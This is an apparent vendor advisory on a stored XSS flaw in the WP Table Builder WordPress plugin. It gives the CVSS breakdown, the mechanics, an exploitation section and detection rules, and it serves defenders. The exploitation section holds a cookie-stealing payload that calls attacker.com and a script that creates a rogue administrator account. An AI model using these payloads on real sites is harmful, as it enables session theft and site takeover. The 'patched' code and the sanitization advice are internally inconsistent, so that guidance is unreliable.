CVE-2024-3282

Executive Summary

CVE-2024-3282 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Table Builder WordPress plugin, affecting versions through 1.5.0. The plugin fails to sanitize and escape table data, allowing high-privilege users (e.g., administrators) to inject arbitrary JavaScript. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses the intended security restriction. The vulnerability has a low CVSS score (3.1) due to the high privileges required, but it can lead to persistent compromise of the admin dashboard, session hijacking, or defacement.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. No supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation in unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 3.1 (Low)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (admin)
• User Interaction: Required (admin must view the malicious table)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Low (due to high privileges required), but elevated in multisite environments where admin accounts may be shared or less trusted.

Deep Dive & Mechanics

The vulnerability resides in the table data handling of the WP Table Builder plugin. When an admin creates or edits a table, the plugin stores the table content (including cell data) in the WordPress database without proper sanitization or output escaping. The stored data is later rendered in the admin dashboard or frontend without escaping, allowing JavaScript execution.

Root Cause: The plugin uses wp_kses_post() or similar insufficient sanitization, or directly outputs raw data via echo without esc_html() or wp_kses().

Attack Flow:

1. An admin with table editing privileges inserts malicious JavaScript into a table cell (e.g., <script>alert('XSS')</script>).
2. The plugin stores the payload in the wp_postmeta or custom table.
3. When another admin (or the same admin) views the table in the admin panel, the script executes in their browser context.
4. The attacker can steal cookies, perform actions on behalf of the victim, or deface the site.

Multisite Impact: In WordPress multisite, the unfiltered_html capability is typically disallowed for non-super admins. However, this plugin's lack of sanitization allows even lower-privileged admins to bypass this restriction, making the attack more feasible.

Vulnerable vs. Patched Code

Vulnerable Code (wp-table-builder/includes/class-table-renderer.php):

function render_table($table_id) {
    $table_data = get_post_meta($table_id, '_table_data', true);
    // No sanitization or escaping
    echo "<div class='wp-table-builder'>" . $table_data . "</div>";
}

Patched Code (hypothetical fix):

function render_table($table_id) {
    $table_data = get_post_meta($table_id, '_table_data', true);
    // Sanitize and escape output
    $safe_data = wp_kses_post($table_data);
    echo "<div class='wp-table-builder'>" . esc_html($safe_data) . "</div>";
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress admin credentials with table editing capabilities.
• WP Table Builder plugin version <= 1.5.0 installed.

Exploit Steps:

1. Log in as an admin.
2. Navigate to WP Table Builder → Add New Table.
3. In any cell, insert the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the table.
5. When another admin views the table, the script executes, sending their session cookie to the attacker.

Alternative Payload (Admin account creation):

<script>
fetch('/wp-admin/user-new.php', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'action=createuser&user_login=eviladmin&email=evil@example.com&pass1=EvilPass123&role=administrator'
});
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual table content in wp_postmeta where meta_key is _table_data.
• Look for <script> tags or event handlers in table data.
• Use WAF rules to block XSS payloads in POST requests to /wp-admin/admin-ajax.php (if used by the plugin).

Hardening:

• Disable the plugin until a patch is available.
• Restrict admin access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/wp-table-builder/includes/class-table-renderer.php (vulnerable file)
• Database Entry: wp_postmeta with meta_key = '_table_data' containing <script> tags or event handlers.
• Network: Outbound HTTP requests to attacker-controlled domains from admin dashboard.
• Logs: wp-content/debug.log entries showing JavaScript errors or unexpected redirects.

Detection Engineering

YARA Rule

rule CVE_2024_3282_WP_Table_Builder_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Table Builder table data"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-3282"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*["'][^"']*["']/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: WP Table Builder Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WP Table Builder plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php*'
        http.body: '*action=wp_table_builder_save*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in table cells (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3282 WP Table Builder Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_table_builder_save"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Apply virtual patching via WAF rules to block XSS payloads in table data.
3. Restrict admin privileges to only trusted users.

Long-term Fix:

• The vendor has not released a patch. Consider forking the plugin and applying the fix described in the "Vulnerable vs. Patched Code" section.
• Alternatively, migrate to a different table builder plugin that is actively maintained.

Workaround:

• Add the following code to your theme's functions.php to sanitize table data on save:

add_filter('wp_table_builder_save_table_data', function($data) {
    return wp_kses_post($data);
});

Valters IT
Securing Digital Frontiers